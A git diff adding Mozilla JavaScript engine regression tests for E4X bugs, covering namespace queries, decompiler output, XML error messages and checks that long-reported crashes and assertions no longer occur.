+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * David P. Caldwell.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Don Brown
+ * David P. Caldwell <inonit@inonit.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-329257.js';
+
+var BUGNUMBER = 329257;
+var summary = "namespace prefix in E4X dot query";
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var ns12 = new Namespace("foo");
+var nestInfo = <a xmlns="foo">
+ <ParameterAvailabilityInfo>
+ <ParameterID>10</ParameterID>
+ <PowerOfTen>1</PowerOfTen>
+ </ParameterAvailabilityInfo>
+ <ParameterAvailabilityInfo>
+ <ParameterID>100</ParameterID>
+ <PowerOfTen>2</PowerOfTen>
+ </ParameterAvailabilityInfo>
+ <ParameterAvailabilityInfo>
+ <ParameterID>1000</ParameterID>
+ <PowerOfTen>3</PowerOfTen>
+ </ParameterAvailabilityInfo>
+</a>;
+
+var paramInfo = nestInfo.ns12::ParameterAvailabilityInfo;
+var paramInfo100 = nestInfo.ns12::ParameterAvailabilityInfo.(ns12::ParameterID == 100);
+TEST(1, 2, Number(paramInfo100.ns12::PowerOfTen));
+
+default xml namespace = ns12;
+var paramInfo100 = nestInfo.ParameterAvailabilityInfo.(ParameterID == 100);
+TEST(2, 2, Number(paramInfo100.ns12::PowerOfTen));
diff --git a/e4x/Regress/regress-331558.js b/e4x/Regress/regress-331558.js
new file mode 100755
index 0000000..c409539
--- /dev/null
+++ b/e4x/Regress/regress-331558.js
@@ -0,0 +1,54 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Erik Fabert
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-331558.js';
+
+var BUGNUMBER = 331558;
+var summary = 'Decompiler: Missing = in default xml namespace statement';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+actual = (function () { default xml namespace = 'abc' }).toString();
+expect = 'function () {\n default xml namespace = "abc";\n}';
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-331664.js b/e4x/Regress/regress-331664.js
new file mode 100755
index 0000000..a952965
--- /dev/null
+++ b/e4x/Regress/regress-331664.js
@@ -0,0 +1,53 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Brendan Eich
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-331664.js';
+
+var summary = "Null pointer deref crash deleting XML methods";
+var BUGNUMBER = 331664;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+delete XML.prototype.attributes
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-344455.js b/e4x/Regress/regress-344455.js
new file mode 100755
index 0000000..db812b9
--- /dev/null
+++ b/e4x/Regress/regress-344455.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-344455.js';
+
+var summary = "Error - tag name mismatch error message should include tag name";
+var BUGNUMBER = 344455;
+var actual = '';
+var expect = 'SyntaxError: XML tag name mismatch (expected foo)';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ eval('x = <foo></bar>;');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-347155.js b/e4x/Regress/regress-347155.js
new file mode 100755
index 0000000..e97c9bc
--- /dev/null
+++ b/e4x/Regress/regress-347155.js
@@ -0,0 +1,69 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-347155.js';
+
+var BUGNUMBER = 347155;
+var summary = 'Do not crash with deeply nested e4x literal';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function repeat(str, num)
+{
+ var s="", i;
+ for (i=0; i<num; ++i)
+ s += str;
+ return s;
+}
+
+n = 100000;
+e4x = repeat("<x>", n) + 3 + repeat("</x>", n);
+try
+{
+ eval(e4x);
+}
+catch(ex)
+{
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-350206-1.js b/e4x/Regress/regress-350206-1.js
new file mode 100755
index 0000000..7a4c131
--- /dev/null
+++ b/e4x/Regress/regress-350206-1.js
@@ -0,0 +1,71 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Jeff Walden <jwalden+code@mit.edu>.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-350206-1.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "350206";
+var summary = "Order of destructuring, destructuring in the presence of " +
+ "exceptions";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = "No crash";
+
+try
+{
+ var t1 = <ns2:t1 xmlns:ns2="http://bar/ns2"/>;
+ var n2 = new Namespace("http://ns2");
+ t1.@n2::a1 = "a1 from ns2";
+
+ t1.toXMLString();
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = "No crash";
+actual = failed;
+
+TEST(1, expect, actual);
diff --git a/e4x/Regress/regress-350206.js b/e4x/Regress/regress-350206.js
new file mode 100755
index 0000000..ce137a4
--- /dev/null
+++ b/e4x/Regress/regress-350206.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Lubos Ures
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-350206.js';
+
+var BUGNUMBER = 350206;
+var summary = 'Do not assert: serial <= n in jsxml.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var pa = <state1 xmlns="http://aaa" id="D1"><tag1/></state1>
+var ch = <state2 id="D2"><tag2/></state2>
+pa.appendChild(ch);
+pa.@msg = "Before assertion failure";
+pa.toXMLString();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-350238.js b/e4x/Regress/regress-350238.js
new file mode 100755
index 0000000..3c6c446
--- /dev/null
+++ b/e4x/Regress/regress-350238.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-350238.js';
+
+var BUGNUMBER = 350238;
+var summary = 'Do not assert <x/>.@*++';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+if (typeof document != 'undefined' && 'addEventListener' in document)
+{
+ document.addEventListener('load',
+ (function () {
+ var iframe = document.createElement('iframe');
+ document.body.appendChild(iframe);
+ iframe.contentDocument.location.href='javascript:<x/>.@*++;';
+ }), true);
+}
+else
+{
+ <x/>.@*++;
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-350629.js b/e4x/Regress/regress-350629.js
new file mode 100755
index 0000000..e720de2
--- /dev/null
+++ b/e4x/Regress/regress-350629.js
@@ -0,0 +1,129 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Jeff Walden <jwalden+code@mit.edu>.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-350629.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "350629";
+var summary = ".toXMLString can include invalid generated prefixes";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function extractPrefix(el, attrName, attrVal)
+{
+ var str = el.toXMLString();
+ var regex = new RegExp(' (.+?):' + attrName + '="' + attrVal + '"');
+ return str.match(regex)[1];
+}
+
+function assertValidPrefix(p, msg)
+{
+ if (!isXMLName(p) ||
+ 0 == p.search(/xml/i))
+ throw msg;
+}
+
+var el, n, p;
+
+try
+{
+ // last component is invalid prefix
+ el = <foo/>;
+ n = new Namespace("http://foo/bar.xml");
+ el.@n::fiz = "eit";
+ p = extractPrefix(el, "fiz", "eit");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+
+ // last component is invalid prefix (different case)
+ el = <foo/>;
+ n = new Namespace("http://foo/bar.XML");
+ el.@n::fiz = "eit";
+ p = extractPrefix(el, "fiz", "eit");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+
+ // last component is invalid prefix (but not "xml"/"xmlns")
+ el = <foo/>;
+ n = new Namespace("http://foo/bar.xmln");
+ el.@n::baz = "quux";
+ p = extractPrefix(el, "baz", "quux");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+
+
+ // generated prefix with no valid prefix component in namespace URI
+ el = <foo/>;
+ n = new Namespace("xml:///");
+ el.@n::bike = "cycle";
+ p = extractPrefix(el, "bike", "cycle");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+
+
+ // generated prefix with no valid prefix component in namespace URI w/further
+ // collision
+ el = <aaaaa:foo xmlns:aaaaa="http://baz/"/>;
+ n = new Namespace("xml:///");
+ el.@n::bike = "cycle";
+ p = extractPrefix(el, "bike", "cycle");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+
+
+
+ // XXX this almost certainly shouldn't work, so if it fails at some time it
+ // might not be a bug! it's only here because it *is* currently a
+ // possible failure point for prefix generation
+ el = <foo/>;
+ n = new Namespace(".:/.././.:/:");
+ el.@n::biz = "17";
+ p = extractPrefix(el, "biz", "17");
+ assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p);
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+TEST(1, expect, actual);
diff --git a/e4x/Regress/regress-352097.js b/e4x/Regress/regress-352097.js
new file mode 100755
index 0000000..7494ed2
--- /dev/null
+++ b/e4x/Regress/regress-352097.js
@@ -0,0 +1,92 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Jeff Walden <jwalden+code@mit.edu>.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ * Jeff Walden
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-352097.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "352097";
+var summary = "Avoid adding unnecessary spaces to PIs";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function assertContains(func, str)
+{
+ if (func.toString().indexOf(str) < 0)
+ throw func.toString() + " does not contain " + str + "!";
+}
+
+try
+{
+ var f = new Function("return <?f?>;");
+ assertContains(f, "<?f?>");
+
+ var g = new Function("return <?f ?>;");
+ assertContains(g, "<?f?>");
+
+ var h = new Function("return <?f ?>;");
+ assertContains(h, "<?f?>");
+
+ var i = new Function("return <?f i?>;");
+ assertContains(i, "<?f i?>");
+
+ var j = new Function("return <?f i ?>;");
+ assertContains(j, "<?f i ?>");
+
+ var k = new Function("return <?f i ?>;");
+ assertContains(k, "<?f i ?>");
+
+ var m = new Function("return <?f i ?>;");
+ assertContains(m, "<?f i ?>");
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+TEST(1, expect, actual);
diff --git a/e4x/Regress/regress-352103.js b/e4x/Regress/regress-352103.js
new file mode 100755
index 0000000..56ab45f
--- /dev/null
+++ b/e4x/Regress/regress-352103.js
@@ -0,0 +1,76 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Jeff Walden <jwalden+code@mit.edu>.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ * Jeff Walden
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-352103.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "352103";
+var summary = "<??> XML initializer should generate a SyntaxError";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ try
+ {
+ eval("var x = <??>;"); // force non-compile-time exception
+ throw "No SyntaxError thrown!";
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ throw "Unexpected exception: " + e;
+ }
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+TEST(1, expect, actual);
diff --git a/e4x/Regress/regress-352223.js b/e4x/Regress/regress-352223.js
new file mode 100755
index 0000000..e7eb9ad
--- /dev/null
+++ b/e4x/Regress/regress-352223.js
@@ -0,0 +1,71 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jeff Walden
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-352223.js';
+
+var BUGNUMBER = 352223;
+var summary = 'Reject invalid spaces in tags';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'SyntaxError: invalid XML name';
+try
+{
+ eval('< foo></foo>');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+TEST(1, expect, actual);
+
+expect = 'SyntaxError: invalid XML tag syntax';
+try
+{
+ eval('<foo></ foo>');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+TEST(2, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354145-01.js b/e4x/Regress/regress-354145-01.js
new file mode 100755
index 0000000..0f1566f
--- /dev/null
+++ b/e4x/Regress/regress-354145-01.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
